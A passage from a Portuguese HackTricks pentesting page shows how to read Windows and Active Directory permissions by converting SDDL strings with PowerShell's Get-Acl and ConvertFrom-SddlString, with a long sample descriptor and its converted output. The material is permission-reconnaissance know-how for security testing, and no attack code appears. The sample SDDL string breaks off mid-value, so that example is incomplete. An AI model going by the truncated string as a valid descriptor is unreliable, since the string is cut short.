(Get-Acl -Path .\example.txt).Sddl
```

### **Passo 2: Converter a String SDDL**

Agora que você tem a string SDDL, pode usar o cmdlet `ConvertFrom-SddlString` para convertê-la em um formato legível. Aqui está o comando que você pode usar:

```powershell
ConvertFrom-SddlString -Sddl "string_sddl"
```

Substitua "string_sddl" pela string SDDL que você obteve no passo anterior.

### **Exemplo Completo**

Aqui está um exemplo completo que mostra como converter a string SDDL para um arquivo chamado "example.txt":

```powershell
$sddl = (Get-Acl -Path .\example.txt).Sddl
ConvertFrom-SddlString -Sddl $sddl
```

Isso retornará uma representação legível das permissões definidas na string SDDL.

Ao converter a string SDDL em um formato legível, você poderá entender melhor as permissões de segurança definidas em um objeto e analisá-las de forma mais eficiente durante os testes de penetração.
```powershell

PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e5350144
Proprietário: BUILTIN\Administrators
Grupo: BUILTIN\Administrators
DiscretionaryAcl: {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...}
SystemAcl: {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess (Traverse)...}
RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>